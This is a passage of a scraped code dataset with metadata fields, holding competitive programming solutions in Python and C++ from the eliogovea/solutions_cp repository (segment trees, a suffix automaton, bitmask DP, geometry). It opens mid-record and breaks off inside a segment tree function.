341, "license_type": "no_license", "max_line_length": 34, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p1870-Accepted-s983612.py", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "def solve(n):\r\n pos = 0\r\n res = 0\r\n while n != 0:\r\n r = n % 3\r\n n = n // 3\r\n res = res + r * (4 ** pos)\r\n pos = pos + 1\r\n return res\r\n\r\ndef main():\r\n t = int(input())\r\n while t > 0:\r\n t = t - 1\r\n n = int(input())\r\n print(solve(n))\r\n\r\nif __name__ == '__main__':\r\n main()\r\n" }, { "alpha_fraction": 0.45424291491508484, "alphanum_fraction": 0.48419299721717834, "avg_line_length": 16.78125, "blob_id": "d43970e776566cae29d9962dc517dbcd83c9a64e", "content_id": "cfa1b1aac4af462da96c29eab7a0ddfb4e6027b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 601, "license_type": "no_license", "max_line_length": 50, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p2663-Accepted-s632004.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\nconst ll inf = 1000000000;\r\n\r\nvector<ll> v;\r\n\r\nvoid build(ll i) {\r\n\tif (i >= inf) return;\r\n\tv.push_back(i);\r\n\tfor (ll j = (i % 10ll) + 1ll; j < 10ll; j++)\r\n\t\tbuild(10ll * i + j);\r\n}\r\n\r\nint tc;\r\nll a, b;\r\n\r\nint main() {\r\n\tbuild(0);\r\n\tsort(v.begin(), v.end());\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> a >> b;\r\n\t\tif (a > b) swap(a, b);\r\n\t\tcout << upper_bound(v.begin(), v.end(), b) -\r\n lower_bound(v.begin(), v.end(), a)\r\n << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38375794887542725, "alphanum_fraction": 0.4156050980091095, "avg_line_length": 16.558822631835938, "blob_id": "30064b1c75561fe3f50df87a2164bc0736b06d38", "content_id": "7b53cd2ad1095621e2da0cf558873c83398ccf98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 628, "license_type": "no_license", "max_line_length": 54, "num_lines": 34, "path": "/Timus/1005-6291293.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1005\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, a[25];\r\nint sum[1 << 21];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//froepen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tint t = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tt += a[i];\r\n\t}\r\n\tint ans = -1;\r\n\tfor (int i = 1; i < (1 << n); i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tif (i & (1 << j)) {\r\n\t\t\t\tsum[i] = sum[i ^ (1 << j)] + a[j];\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ans == -1 || abs((t - sum[i]) - sum[i]) < ans) {\r\n\t\t\tans = abs((t - sum[i]) - sum[i]);\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3639514744281769, "alphanum_fraction": 0.40381282567977905, "avg_line_length": 14.970588684082031, "blob_id": "81101381a6c4e4b23f2a5cd860db6db76fdae5ba", "content_id": "cba041352741a22d445184cae4d32c26b6bb4a5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 577, "license_type": "no_license", "max_line_length": 37, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p3284-Accepted-s815574.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 5000;\r\n\r\nint t, n;\r\ndouble E[N + 5];\r\ndouble ans[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(10);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tans[i] = -1.0;\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tif (ans[n] < 0.0) {\r\n\t\t\tE[n] = 0;\r\n\t\t\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\t\t\tint k = min(10, n - i);\r\n\t\t\t\tE[i] = 1.0;\r\n\t\t\t\tfor (int j = 1; j <= k; j++) {\r\n\t\t\t\t\tE[i] += E[i + j] / (double)k;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tans[n] = E[0];\r\n\t\t}\r\n\t\tcout << fixed << ans[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.524600088596344, "alphanum_fraction": 0.5384847521781921, "avg_line_length": 18.83832359313965, "blob_id": "06b7a3adc926bb94b0abcc6eae280700a76ce9f4", "content_id": "32487e26798ed22f9f24316c289512275d1d3ebb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3313, "license_type": "no_license", "max_line_length": 76, "num_lines": 167, "path": "/Hackerrank/build-a-string.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// https://www.hackerrank.com/challenges/build-a-string/problem\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int L = 100 * 1000;\n\nstruct sa_node {\n\tint max_length;\n\tmap <char, sa_node *> go;\n\tsa_node * suffix_link;\n\tvector <pair <char, sa_node *> > inv_suffix_link;\n\tint pos;\n};\n\nconst int SIZE = 2 * L + 10;\n\nsa_node all[SIZE];\nsa_node * _free;\n\nsa_node * get_new(int max_length, int pos) {\n\t_free->max_length = max_length;\n\t_free->go.clear();\n\t_free->suffix_link = nullptr;\n\t_free->inv_suffix_link.clear();\n\t_free->pos = pos;\n\treturn _free++;\n}\n\nsa_node * get_clone(sa_node * u, int max_length) {\n\t_free->max_length = max_length;\n\t_free->go = u->go;\n\t_free->suffix_link = u->suffix_link;\n\t_free->inv_suffix_link.clear();\n\t_free->pos = u->pos;\n\treturn _free++;\n}\n\nsa_node * sa_reset() {\n\t_free = all;\n\treturn get_new(0, -1);\n}\n\nsa_node * add(sa_node * root, sa_node * p, char c, int pos) {\n\tsa_node * l = get_new(p->max_length + 1, pos);\n\twhile (p != nullptr && p->go.find(c) == p->go.end()) {\n\t\tp->go[c] = l;\n\t\tp = p->suffix_link;\n\t}\n\tif (p == nullptr) {\n\t\tl->suffix_link = root;\n\t} else {\n\t\tsa_node * q = p->go[c];\n\t\tif (p->max_length + 1 == q->max_length) {\n\t\t\tl->suffix_link = q;\n\t\t} else {\n\t\t\tsa_node * clone_q = get_clone(q, p->max_length + 1);\n\t\t\tl->suffix_link = clone_q;\n\t\t\tq->suffix_link = clone_q;\n\t\t\twhile (p != nullptr && p != nullptr && p->go[c] == q) {\n\t\t\t\tp->go[c] = clone_q;\n\t\t\t\tp = p->suffix_link;\n\t\t\t}\n\t\t}\n\t}\n\treturn l;\n}\n\nstruct st_node {\n\tint value;\n\tint l, r;\n\tst_node * children[2];\n\t\n\tst_node() {\n\t\tvalue = 1e9;\n\t\tl = r = -1;\n\t\tchildren[0] = nullptr;\n\t\tchildren[1] = nullptr;\n\t};\n};\n\nst_node * build(int l, int r) {\n\tst_node * u = new st_node();\n\tu->value = 1e9;\n\tu->l = l;\n\tu->r = r;\n\tu->children[0] = nullptr;\n\tu->children[1] = nullptr;\n\tif (l != r) {\n\t\tint m = (l + r) >> 1;\n\t\tu->children[0] = build(l, m);\n\t\tu->children[1] = build(m + 1, r);\n\t}\n\treturn u;\n}\n\nvoid update(st_node * root, int p, int v) {\n\tif (p < root->l || root->r < p) {\n\t\treturn;\n\t}\n\tif (root->l == root->r) {\n\t\troot->value = v;\n\t} else {\n\t\tupdate(root->children[0], p, v);\n\t\tupdate(root->children[1], p, v);\n\t\troot->value = min(root->children[0]->value, root->children[1]->value);\n\t}\n}\n\nint query(st_node * root, int l, int r) {\n\tif (root->l > r || root->r < l) {\n\t\treturn 1e9;\n\t}\n\tif (l <= root->l && root->r <= r) {\n\t\treturn root->value;\n\t}\n\treturn min(query(root->children[0], l, r), query(root->children[1], l, r));\n}\n\n\n// hackerrank problem\n// https://www.hackerrank.com/challenges/build-a-string\nvoid buildAString() {\n\tint t;\n\tcin >> t;\n\n\twhile (t--) {\n\t\tint n, a, b;\n\t\tstring s;\n\n\t\tcin >> n >> a >> b >> s;\n\n\t\tvector <int> dp(n + 1);\n\n\t\tsa_node * root = sa_reset();\n\t\tsa_node * last = root;\n\t\t\n\t\tst_node * st_root = build(0, n);\n\t\tupdate(st_root, 0, 0);\n\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tdp[i] = dp[i - 1] + a;\n\t\t\tlast = add(root, last, s[i - 1], i);\n\t\t\tsa_node * now = last->suffix_link;\n\t\t\twhile (now != root) {\n\t\t\t\tint l = i - now->max_length;\n\t\t\t\tint r = i - now->suffix_link->max_length - 1;\n\t\t\t\tif (l < now->pos) {\n\t\t\t\t\tl = now->pos;\n\t\t\t\t}\n\t\t\t\tif (l <= r) {\n\t\t\t\t\tdp[i] = min(dp[i], query(st_root, l, r) + b);\n\t\t\t\t}\n\t\t\t\tnow = now->suffix_link;\n\t\t\t}\n\t\t\tupdate(st_root, i, dp[i]);\n\t\t}\n\t\tcout << dp[n] << \"\\n\";\n\t}\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t\n\tbuildAString();\n}\n" }, { "alpha_fraction": 0.3204062879085541, "alphanum_fraction": 0.3434903025627136, "avg_line_length": 15.661538124084473, "blob_id": "4d0df236cfa9a112d24e4251b82765fc9e28c1b3", "content_id": "98c8d3b943b58dce5af834b4fb1ef1efc6e1fdc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1083, "license_type": "no_license", "max_line_length": 60, "num_lines": 65, "path": "/Codeforces-Gym/100735 - KTU Programming Camp (Day 1)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 1)\n// 100735A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\nconst ll MAXN = 100100ll;\n\nll l[MAXN];\nll c[MAXN];\nll sol[MAXN];\n\nll pila[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n string s; cin >> s;\n\n ll n = s.size();\n\n ll pos = 0ll;\n\n for(ll i = 0ll; i < n; i++){\n if( i > 0ll ) c[i] = c[i-1ll];\n\n if( s[i] == '(' ){\n pila[ pos++ ] = i;\n }\n else{\n c[i]++;\n\n ll k = pila[ --pos ];\n l[k] = (i - k + 1ll);\n\n if( pos > 0ll ){\n ll t = pila[ pos - 1ll ];\n\n ll x = (c[i] - c[k]);\n\n sol[t] += x * ( c[k] - c[t] ) ;\n\n /*if( t == 0 ){\n cout << x << ' ' << c[k] - c[t] << '\\n';\n }*/\n }\n }\n }\n\n ll outp = 0ll;\n\n for(ll i = 0ll; i < n; i++){\n outp += ( l[i] * sol[i] );\n //cout << sol[i] << ' ';\n }\n //cout << '\\n';\n\n cout << outp << '\\n';\n\n}\n" }, { "alpha_fraction": 0.2994241714477539, "alphanum_fraction": 0.3197696805000305, "avg_line_length": 19.3515625, "blob_id": "fc6fd97db80b8936b41f9889de10e20ce0ecdeba", "content_id": "0f930efe9ea03e41dd68c9434137b537bd31c72f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2605, "license_type": "no_license", "max_line_length": 87, "num_lines": 128, "path": "/Caribbean-Training-Camp-2018/Contest_6/Solutions/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst unsigned long long N = 1000 * 1000 + 10;\n\nunsigned long long sieve[N];\nunsigned long long primes[N];\nunsigned long long cp;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n int n;\n cin >> n;\n\n int mn = 0;\n int mx = 0;\n\n vector <int> vals(n);\n for (int i = 0; i < n; i++) {\n cin >> vals[i];\n }\n\n sort(vals.begin(), vals.end());\n\n if (vals.back() > 100) {\n cout << \"No\\n\";\n return 0;\n }\n\n if (vals.back() == 100) {\n if (n == 1) {\n cout << \"Yes\\n\";\n } else {\n if (vals[n - 2] == 0) {\n cout << \"Yes\\n\";\n } else if (n == 2 && vals[0] == 1) {\n cout << \"Yes\\n\";\n } else {\n cout << \"No\\n\";\n }\n }\n return 0;\n }\n\n for (auto x : vals) {\n\n if (x == 0) {\n mn += 0;\n mx += 1;\n } else {\n mn += 2 * x - 1;\n mx += 2 * x + 1;\n }\n }\n\n if (mn <= 200 && 200 < mx) {\n cout << \"Yes\\n\";\n } else {\n cout << \"No\\n\";\n }\n\n/*\n //freopen(\"dat.txt\",\"r\",stdin);\n\n for (unsigned long long i = 2; i * i < N; i++) {\n if (!sieve[i]) {\n for (unsigned long long j = i * i; j < N; j += i) {\n if (!sieve[j]) {\n sieve[j] = i;\n }\n }\n }\n }\n\n cp = 0;\n\n for (unsigned long long i = 2; i < N; i++) {\n if (!sieve[i]) {\n sieve[i] = i;\n primes[cp++] = i;\n }\n }\n\n unsigned long long t;\n cin >> t;\n\n while (t--) {\n unsigned long long n;\n cin >> n;\n\n unsigned long long nn = n;\n\n unsigned long long ans = 0;\n\n if (n < N) {\n while (n > 1) {\n unsigned long long p = sieve[n];\n unsigned long long e = 0;\n while (n > 1 && sieve[n] == p) {\n e++;\n n /= p;\n }\n ans += (nn / p) * e;\n }\n } else {\n for (unsigned long long i = 0; i < cp && primes[i] * primes[i] <= n; i++) {\n if (n % primes[i] == 0) {\n unsigned long long e = 0;\n while (n % primes[i]) {\n e++;\n n /= i;\n }\n ans += (nn / i) * e;\n }\n }\n if (n > 1) {\n ans += (nn / n);\n }\n }\n\n cout << ans << \"\\n\";\n }\n*/\n\n}\n" }, { "alpha_fraction": 0.38821491599082947, "alphanum_fraction": 0.41941073536872864, "avg_line_length": 14.485713958740234, "blob_id": "8c53c54e8bad95702a8205a24a5d25f8c027fa98", "content_id": "edb2580a9e3d5569990a2b88ed276909d4d52761", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 577, "license_type": "no_license", "max_line_length": 43, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p3288-Accepted-s815621.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1000007;\r\n\r\nll power(ll x, ll n) {\r\n\tll res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = (res * x) % mod;\r\n\t\t}\r\n\t\tx = (x * x) % mod;\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint n, m;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> m >> n) {\r\n if (n == -1 && m == -1) {\r\n break;\r\n }\r\n\t\tll a = (power(2, n + 1) - 1 + mod) % mod;\r\n\t\tll b = (power(2, m) - 1 + mod) % mod;\r\n\t\tll ans = (a - b + mod) % mod;\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3767535090446472, "alphanum_fraction": 0.4088176488876343, "avg_line_length": 19.69565200805664, "blob_id": "4d37b9ee6e121fdcb775c6f58568c67fbaa45afe", "content_id": "15193297b9c94a6946e18fb9f3173cf35bb3558b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 499, "license_type": "no_license", "max_line_length": 49, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p1429-Accepted-s657858.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nint tc, n, k, a[50005], sol, lo, hi, mid, ff, mn;\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tscanf(\"%d%d\", &n, &k);\r\n\t\tmn = 0;\r\n\t\tfor (int i = 0; i < n; i++) scanf(\"%d\", &a[i]);\r\n\t\tsol = 0;\r\n\t\tint lo = 0, hi = 1e9, mid, fmid;\r\n\t\twhile (lo + 1 < hi) {\r\n\t\t\tmid = (lo + hi + 1) >> 1;\r\n\t\t\tff = 0;\r\n\t\t\tfor (int i = 0; i < n; i++) ff += a[i] / mid;\r\n\t\t\tif (ff >= k) sol = lo = mid;\r\n\t\t\telse hi = mid;\r\n\t\t}\r\n\t\tprintf(\"%d\\n\", sol);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4470359683036804, "alphanum_fraction": 0.4757045805454254, "avg_line_length": 20.893617630004883, "blob_id": "52a2e8d74a364c08cb3359bb993ab20a7bb29828", "content_id": "e3220a1d6723b12d5983708d0e826e4d760c2d4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2058, "license_type": "no_license", "max_line_length": 77, "num_lines": 94, "path": "/Codeforces-Gym/101124 - 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6\n// 101124A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double EPS = 1e-8;\n\ninline double area(double a, double b, double c) {\n\tdouble s = (a + b + c) * 0.5;\n\treturn sqrt(s * (s - a) * (s - b) * (s - c));\n}\n\ninline double getAngle(double a, double b, double c) {\n double val = -(c * c - a * a - b * b) / (2.0 * a * b);\n if (val > 1.0) {\n val = 1.0;\n }\n if (val < -1.0) {\n val = -1.0;\n }\n //cerr << val << \" \" << acos(val) << \"\\n\";\n double res = acos(val);\n /*if (res < 0.0) {\n res += M_PI;\n }*/\n return res;\n}\n\ndouble fun(double angle) {\n return angle * 180 / M_PI;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tdouble w;\n\tcin >> w;\n\tdouble ab, bc, cd, da, ac;\n\tcin >> ab >> bc >> cd >> da >> ac;\n\tdouble Aabc = area(ab, bc, ac);\n\n\tdouble ABC = getAngle(ab, bc, ac);\n\tdouble BAC = getAngle(ab, ac, bc);\n\tdouble ACB = getAngle(ac, bc, ab);\n\n\n\t//cerr << fun(ABC) << \" \" << fun(BAC) << \" \" << fun(ACB) << \"\\n\";\n\n if (Aabc < EPS) {\n ABC = M_PI;\n BAC = 0.0;\n ACB = 0.0;\n }\n\n\tdouble Aacd = area(ac, cd, da);\n\tdouble ADC = getAngle(da, cd, ac);\n\tdouble CAD = getAngle(da, ac, cd);\n\tdouble ACD = getAngle(ac, cd, da);\n\n\tif (Aacd < EPS) {\n ADC = M_PI;\n ACD = 0.0;\n CAD = 0.0;\n\t}\n\n\tdouble A = BAC + CAD;\n\tdouble B = ABC;\n\tdouble C = ACB + ACD;\n\tdouble D = ADC;\n\tdouble AA = (M_PI - A) / 2.0;\n\tdouble BB = (M_PI - B) / 2.0;\n\tdouble CC = (M_PI - C) / 2.0;\n\tdouble DD = (M_PI - D) / 2.0;\n\n\t//cerr << fun(A) << \" \" << fun(B) << \" \" << fun(C) << \" \" << fun(D) << \"\\n\";\n\n\t//cerr << \"suma: \" << fun(A + B + C + D) << \"\\n\";\n\n\tdouble xA = tan(AA) * w;\n\tdouble xB = tan(BB) * w;\n\tdouble xC = tan(CC) * w;\n\tdouble xD = tan(DD) * w;\n\n\tdouble mn = min(xA, min(xB, min(xC, xD)));\n\n\t//cerr << xA << \" \" << xB << \" \" << xC << \" \" << xD << \"\\n\";\n\n\tdouble ans = ab + bc + cd + da +2.0 * (xA + xB + xC + xD);\n\tcout.precision(3);\n\tcout << fixed << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3903462886810303, "alphanum_fraction": 0.41762852668762207, "avg_line_length": 21.2439022064209, "blob_id": "2cdf1604e92959af3c0e7c6f1808a6334652662d", "content_id": "9755048bf04372f2cb5f2b67fc578eff3a68729b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 953, "license_type": "no_license", "max_line_length": 82, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p1167-Accepted-s583546.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cstring>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 20;\r\n\r\nint c, n, dp[1 << MAXN][MAXN], len[MAXN], sol;\r\nchar str[1000], ini[MAXN], fin[MAXN];\r\n\r\nint main()\r\n{\r\n\tfor (scanf(\"%d\", &c); c--;)\r\n\t{\r\n\t\tscanf(\"%d\", &n);\r\n\t\tsol = 0;\r\n\r\n\t\tfor (int mask = 1; mask < (1 << n); mask++)\r\n\t\t\tfor (int i = 0; i < n; i++) dp[mask][i] = 0;\r\n\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%s\", str);\r\n\t\t\tlen[i] = strlen(str);\r\n\t\t\tini[i] = str[0];\r\n\t\t\tfin[i] = str[len[i] - 1];\r\n\t\t\tdp[1 << i][i] = len[i];\r\n\t\t\tsol = max(sol, dp[1 << i][i]);\r\n\t\t}\r\n\t\tfor (int mask = 1; mask < (1 << n); mask++)\r\n\t\t\tfor (int i = 0; i < n; i++)\r\n\t\t\t\tif (mask & (1 << i))\r\n\t\t\t\t\tfor (int j = 0; j < n; j++)\r\n\t\t\t\t\t\tif (!(mask & (1 << j)) && fin[i] == ini[j])\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tdp[mask | (1 << j)][j] = max(dp[mask | (1 << j)][j], dp[mask][i] + len[j]);\r\n\t\t\t\t\t\t\tsol = max(sol, dp[mask | (1 << j)][j]);\r\n\t\t\t\t\t\t}\r\n\t\tprintf(\"%d\\n\", sol);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3345794379711151, "alphanum_fraction": 0.3887850344181061, "avg_line_length": 20.29166603088379, "blob_id": "302d153f1fa666fbdda92d4585aabba080e12a99", "content_id": "9f81d8a7c4fe9b9edd1dd758ad340f0e2c14a12a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 535, "license_type": "no_license", "max_line_length": 63, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p1614-Accepted-s609408.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cmath>\r\n\r\ndouble a, b, s, n, m, ang, vel;\r\n\r\nint main() {\r\n\twhile (scanf(\"%lf%lf%lf%lf%lf\", &a, &b, &s, &m, &n)) {\r\n\t\tif (a == 0.0 && b == 0.0 && s == 0.0 && m == 0.0 && n == 0.0)\r\n break;\r\n\t\tif (m == 0.0) {\r\n\t\t\tvel = n * b / s;\r\n\t\t\tprintf(\"90.00 %.2lf\\n\", vel);\r\n\t\t}\r\n\t\telse if (n == 0.0) {\r\n\t\t\tvel = m * a / s;\r\n\t\t\tprintf(\"0.00 %.2lf\\n\", vel);\r\n\t\t}\r\n\t\telse {\r\n\t\t\tang = atan((n * b) / (m * a));\r\n\t\t\tvel = m * a / cos(ang) / s;\r\n\t\t\tprintf(\"%.2lf %.2lf\\n\", ang * 180.0 / M_PI, vel);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.34294870495796204, "alphanum_fraction": 0.39423078298568726, "avg_line_length": 14.421052932739258, "blob_id": "a4abe83a73a5d7984d909309457547bab2a8f20c", "content_id": "5cb00c594b29a0cac26921e3ff6fb52fad20121f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 624, "license_type": "no_license", "max_line_length": 55, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p4095-Accepted-s1294967.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tvector <int> v = {4, 6};\r\n\r\n\tvector <vector <int>> last(10, vector <int> (10, -1));\r\n\tint n = 2;\r\n\twhile (last[v[n - 2]][v[n - 1]] == -1) {\r\n\t\tlast[v[n - 2]][v[n - 1]] = n - 2;\r\n\t\tint x = v[n - 2] * v[n - 1];\r\n\t\tif (x >= 10) {\r\n\t\t\tv.push_back(x / 10);\r\n\t\t\tn++;\r\n\t\t}\r\n\t\tv.push_back(x % 10);\r\n\t\tn++;\r\n\t}\r\n\r\n\tint l = n - 2 - last[v[n - 2]][v[n - 1]];\r\n\r\n\t\r\n\tfor (int i = 0; i < 4; i++) {\r\n\t\tint p;\r\n\t\tcin >> p;\r\n\r\n\t\tif (p <= 2) {\r\n\t\t\tcout << v[p - 1];\r\n\t\t} else {\r\n\t\t\tcout << v[2 + ((p - 3) % l)];\r\n\t\t}\r\n\t}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.4089219272136688, "alphanum_fraction": 0.4312267601490021, "avg_line_length": 14.8125, "blob_id": "d861bddce9842667d0b526107003e05001fe5dce", "content_id": "a683ba4c4d0e416fd83ed61a02aeee35078a3f4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 269, "license_type": "no_license", "max_line_length": 40, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p3025-Accepted-s705439.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 105;\r\nlong long n, b[N];\r\n\r\nint main() {\r\n\tcin >> n;\r\n\tfor (long long i = 1; i <= n; i++) {\r\n\t\tcin >> b[i];\r\n\t\tcout << i * b[i] - (i - 1) * b[i - 1];\r\n\t\tif (i != n) cout << \" \";\r\n\t\telse cout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38431480526924133, "alphanum_fraction": 0.41194528341293335, "avg_line_length": 24.963768005371094, "blob_id": "211e0983b141c28fa7ce5988800370317f38abde", "content_id": "7ae43a8531cea5e31e75850d624b9af58d5372fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3583, "license_type": "no_license", "max_line_length": 115, "num_lines": 138, "path": "/Codeforces-Gym/101116 - 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)\n// 101116G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\nconst int MAXN = 500100;\n\nll st[2][4*MAXN];\nll lazyA[2][4*MAXN];\nll lazyS[2][4*MAXN];\n\nvoid build_st( ll *st, ll *lazyA , ll *lazyS, int nod, int l, int r ){\n lazyA[nod] = lazyS[nod] = -1;\n\n if( l == r ){\n st[nod] = 0ll;\n return;\n }\n\n int ls = nod * 2, rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n build_st( st , lazyA , lazyS, ls , l , mid );\n build_st( st , lazyA , lazyS, rs , mid+1 , r );\n}\n\nvoid propagate_st( ll *st , ll *lazyA , ll *lazyS, int nod, int l, int r ){\n if( lazyA[nod] != -1 ){\n if( l == r ){\n st[nod] += lazyS[nod];\n }\n else{\n int ls = nod*2, rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n lazyS[ls] = max( lazyS[ls] , 0ll );\n lazyS[rs] = max( lazyS[rs] , 0ll );\n\n lazyA[ls] = max( lazyA[ls] , 0ll );\n lazyA[rs] = max( lazyA[rs] , 0ll );\n\n lazyS[ls] += lazyS[nod];\n lazyA[ls] += lazyA[nod];\n\n lazyS[rs] += lazyS[nod] + lazyA[nod] * ( mid+1-l );\n lazyA[rs] += lazyA[nod];\n }\n\n lazyA[nod] = -1;\n lazyS[nod] = -1;\n }\n}\n\nvoid update_st( ll *st , ll *lazyA , ll *lazyS, int nod, int l, int r, int lq, int rq, ll S, ll A ){\n propagate_st( st , lazyA , lazyS , nod , l , r );\n\n if( r < lq || l > rq ){\n return;\n }\n\n if( lq <= l && r <= rq ){\n lazyS[nod] = max( lazyS[nod] , 0ll );\n lazyA[nod] = max( lazyA[nod] , 0ll );\n\n lazyS[nod] += S + A * ( l - lq );\n lazyA[nod] += A;\n\n propagate_st( st , lazyA , lazyS , nod , l , r );\n\n return;\n }\n\n int ls = nod*2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n update_st( st , lazyA , lazyS, ls , l , mid , lq , rq , S , A );\n update_st( st , lazyA , lazyS, rs , mid+1 , r , lq , rq , S , A );\n}\n\nll query_st( ll *st , ll *lazyA , ll *lazyS, int nod, int l, int r, int pos ){\n propagate_st( st , lazyA , 